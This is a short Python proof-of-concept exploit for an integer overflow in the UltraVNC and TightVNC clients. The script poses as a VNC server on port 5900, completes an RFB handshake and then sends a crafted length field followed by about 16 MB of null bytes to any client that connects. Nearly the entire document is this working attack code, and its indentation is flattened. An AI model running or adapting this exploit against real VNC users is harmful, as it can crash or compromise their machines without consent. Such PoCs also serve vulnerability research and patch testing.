UltraVNC/TightVNC Integer Overflow

`#!/usr/bin/env python  
# POC: Multiple VNC Clients Multiple Integer Overflow Vulnerabilities(UltraVNC and TightVNC), BID 33568  
#Author: Andres Lopez Luksenberg <[email protected]> (Visit: http://208.66.16.113/~andres/)  
#  
import socket  
  
serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
serversocket.bind(('', 5900))  
serversocket.listen(1)  
  
while True:  
print "Author: Andres Lopez Luksenberg <[email protected]> (Visit: http://208.66.16.113/~andres/)"  
  
clientsocket, clientaddres = serversocket.accept()  
  
data = 'RFB 003.003\n'  
clientsocket.sendall(data)  
  
data_cli = clientsocket.recv(1024)  
print data_cli  
  
data = '\x00'  
clientsocket.sendall(data)  
  
data = '\x00\x00\x00\x75'  
clientsocket.sendall(data)  
data = '\x00' * int(0xffffff)  
  
clientsocket.sendall(data)  
  
clientsocket.close()  
serversocket.close()  
  
`